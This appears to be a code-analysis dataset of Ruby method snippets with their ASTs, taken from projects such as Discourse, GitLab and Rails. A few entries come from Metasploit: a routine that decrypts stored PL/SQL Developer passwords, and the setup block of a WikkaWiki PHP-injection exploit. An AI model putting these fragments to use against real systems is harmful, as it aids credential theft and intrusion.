{"repo_name":"discourse","file_path":"./repos/discourse/script/check_forking.rb","start_line":5,"raw_source":"def pretty\n  puts \"<before>\"\n  puts PrettyText.cook(\"My pid is #{Process.pid}\")\n  GC.start\n  sleep 1\n  puts \"done gc\"\nend","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"pretty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"<before>\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"cook\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"My pid is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GC\"]},\"start\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"done gc\"]}]}]}]}","id":"07d4d36f-8610-4738-b67d-ae55b4315e14"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_dialog/seeding.rb","start_line":53,"raw_source":"def seed_files\n        Dir.glob(DIALOG_DIR.join(\"*.{yml,yaml}\")).sort + seed_plugin_files\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DIALOG_DIR\"]},\"join\",{\"type\":\"str\",\"children\":[\"*.{yml,yaml}\"]}]}]},\"sort\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"seed_plugin_files\"]}]}]}","id":"3d7f0ac2-27ce-4345-9383-215ed8f74dac"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/billboards_controller.rb","start_line":41,"raw_source":"def update\n      @billboard = Billboard.find(params[:id])\n\n      if @billboard.update(billboard_params)\n        flash[:success] = I18n.t(\"admin.billboards_controller.updated\")\n        redirect_to edit_admin_billboard_path(params[:id])\n      else\n        flash[:danger] = @billboard.errors_as_sentence\n        render :edit\n      end\n    end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@billboard\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Billboard\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@billboard\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"billboard_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.billboards_controller.updated\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"edit_admin_billboard_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"danger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@billboard\"]},\"errors_as_sentence\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"edit\"]}]}]}]}]}]}","id":"c0b1ac07-0e21-432d-aab4-24cba55d645d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/plsql_developer.rb","start_line":52,"raw_source":"def decrypt_str_legacy(str)\n    result = ''\n    key = str[0..3].to_i\n    for i in 1..(str.length / 4 - 1) do\n      n = str[(i * 4)..(i * 4 + 3)].to_i\n      result << (((n - 1000) ^ (key + i * 10)) >> 4).chr\n    end\n    return result\n  end","complexity_score":32.25,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_str_legacy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]},\"to_i\"]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"length\"]},\"/\",{\"type\":\"int\",\"children\":[4]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"n\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]},\"+\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"-\",{\"type\":\"int\",\"children\":[1000]}]}]},\"^\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"*\",{\"type\":\"int\",\"children\":[10]}]}]}]}]}]},\">>\",{\"type\":\"int\",\"children\":[4]}]}]},\"chr\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"3ffe214c-b546-4c1e-93d4-b8e9188e574e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/update_form.rb","start_line":36,"raw_source":"def resource_url\n        api_v3_paths.send(downcase_model_name, represented.id)\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"send\",{\"type\":\"send\",\"children\":[null,\"downcase_model_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"id\"]}]}]}","id":"cb19e84e-b7af-425d-a395-4ed812ca2254"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/update_service.rb","start_line":102,"raw_source":"def move_issue_to_new_container(issue)\n      target_container = params.delete(:target_container)\n\n      return unless target_container &&\n        issue.can_move?(current_user, target_container) &&\n        !move_to_same_container?(issue, target_container)\n\n      update(issue)\n\n      move_service_container = target_container.is_a?(Project) ? target_container.project_namespace : target_container\n\n      ::WorkItems::DataSync::MoveService.new(\n        work_item: issue, current_user: current_user, target_namespace: move_service_container\n      ).execute[:work_item]\n    end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"move_issue_to_new_container\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_container\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"target_container\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"can_move?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"target_container\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"move_to_same_container?\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"target_container\"]}]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"move_service_container\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},\"project_namespace\"]},{\"type\":\"lvar\",\"children\":[\"target_container\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"DataSync\"]},\"MoveService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_namespace\"]},{\"type\":\"lvar\",\"children\":[\"move_service_container\"]}]}]}]},\"execute\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item\"]}]}]}]}","id":"aeb5b76e-270a-4986-bdde-a4e223f70e61"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/flatpickr_capybara.rb","start_line":4,"raw_source":"def fill_in_date_manually(label_text, options = {})\n        with_open_flatpickr(label_text) do |field|\n          fill_in field[:id], with: string_date(options)\n        end\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_date_manually\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label_text\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_open_flatpickr\",{\"type\":\"lvar\",\"children\":[\"label_text\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[null,\"string_date\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}","id":"5114c643-d89b-453f-b38c-f776a97317c7"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/integration/watched_words_spec.rb","start_line":219,"raw_source":"def should_not_flag_post(author, raw, topic)\n      post = Fabricate(:post, raw: raw, topic: topic, user: author)\n      expect { Jobs::ProcessPost.new.execute(post_id: post.id) }.to_not change { PostAction.count }\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"should_not_flag_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"author\"]},{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"author\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"ProcessPost\"]},\"new\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]}]},\"to_not\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostAction\"]},\"count\"]}]}]}]}]}","id":"d1e31f28-28e6-4b61-8160-2be538f2e460"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/log_file.rb","start_line":142,"raw_source":"def self.ping_timeout\n    ::Settings.log.collection.ping_depot_timeout\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ping_timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"log\"]},\"collection\"]},\"ping_depot_timeout\"]}]}","id":"7527b54f-be9c-4885-80e2-c4be2f46ef9e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":1089,"raw_source":"def report_artifacts\n      job_artifacts.all_reports\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_artifacts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_artifacts\"]},\"all_reports\"]}]}","id":"f38cd3f2-2c2e-4f01-aff2-efe3fac4be82"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wikka_spam_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"WikkaWiki 1.3.2 Spam Logging PHP Injection\",\n        'Description' => %q{\n          This module exploits a vulnerability found in WikkaWiki.  When the spam logging\n          feature is enabled, it is possible to inject PHP code into the spam log file via the\n          UserAgent header, and then request it to execute our payload.  There are at least\n          three different ways to trigger spam protection, this module does so by generating\n          10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).\n\n          Please note that in order to use the injection, you must manually pick a page\n          first that allows you to add a comment, and then set it as 'PAGE'.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'EgiX', # Initial discovery, PoC\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2011-4451'],\n          ['OSVDB', '77393'],\n          ['EDB', '18177']\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\"\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread'\n        },\n        'Arch' => ARCH_PHP,\n        'Platform' => ['php'],\n        'Targets' => [\n          ['WikkaWiki 1.3.2 r1814', {}]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-11-30',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'WikkaWiki username']),\n        OptString.new('PASSWORD', [true, 'WikkaWiki password']),\n        OptString.new('PAGE', [true, 'Page to inject']),\n        OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])\n      ]\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WikkaWiki 1.3.2 Spam Logging PHP Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in WikkaWiki.  When the spam logging\\n\"]},{\"type\":\"str\",\"children\":[\"          feature is enabled, it is possible to inject PHP code into the spam log file via the\\n\"]},{\"type\":\"str\",\"children\":[\"          UserAgent header, and then request it to execute our payload.  There are at least\\n\"]},{\"type\":\"str\",\"children\":[\"          three different ways to trigger spam protection, this module does so by generating\\n\"]},{\"type\":\"str\",\"children\":[\"          10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Please note that in order to use the injection, you must manually pick a page\\n\"]},{\"type\":\"str\",\"children\":[\"          first that allows you to add a comment, and then set it as 'PAGE'.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EgiX\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-4451\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"77393\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"18177\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WikkaWiki 1.3.2 r1814\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-11-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"WikkaWiki username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"WikkaWiki password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PAGE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Page to inject\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI path to WikkaWiki\"]},{\"type\":\"str\",\"children\":[\"/wikka/\"]}]}]}]}]}]}]}","id":"1f836742-f3be-4070-a85d-291c34c889ff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb","start_line":42,"raw_source":"def self.finalize(client,handle)\n    proc do\n      deferred_close_proc = proc do\n        begin\n          self.close(client, handle)\n        rescue => e\n          elog(\"finalize method for thread failed\", error: e)\n        end\n      end\n\n      # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes\n      client.framework.sessions.schedule(deferred_close_proc)\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"finalize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]},{\"type\":\"arg\",\"children\":[\"handle\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deferred_close_proc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"close\",{\"type\":\"lvar\",\"children\":[\"client\"]},{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"finalize method for thread failed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"framework\"]},\"sessions\"]},\"schedule\",{\"type\":\"lvar\",\"children\":[\"deferred_close_proc\"]}]}]}]}]}","id":"0e3e6275-b79d-454a-9c67-ca356df42d78"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/visit.rb","start_line":26,"raw_source":"def default_radius\n    return area&.radius if area.present?\n\n    radius = points.map do |point|\n      Geocoder::Calculations.distance_between(\n        center, [point.lat, point.lon], units: user.safe_settings.distance_unit.to_sym\n      )\n    end.max\n\n    radius && radius >= 15 ? radius : 15\n  end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_radius\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"area\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"area\"]},\"radius\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"radius\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"points\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Geocoder\"]},\"Calculations\"]},\"distance_between\",{\"type\":\"send\",\"children\":[null,\"center\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"lat\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"lon\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"units\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"safe_settings\"]},\"distance_unit\"]},\"to_sym\"]}]}]}]}]},\"max\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"radius\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"radius\"]},\">=\",{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvar\",\"children\":[\"radius\"]},{\"type\":\"int\",\"children\":[15]}]}]}]}","id":"e6b2e312-5979-4421-9a9f-93c2b0956750"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb","start_line":126,"raw_source":"def serialize_with_oldest(value)\n          previous_types.first.serialize(value)\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_with_oldest\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_types\"]},\"first\"]},\"serialize\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"344cc2eb-41ab-41ab-83c0-0d95fc301aed"}
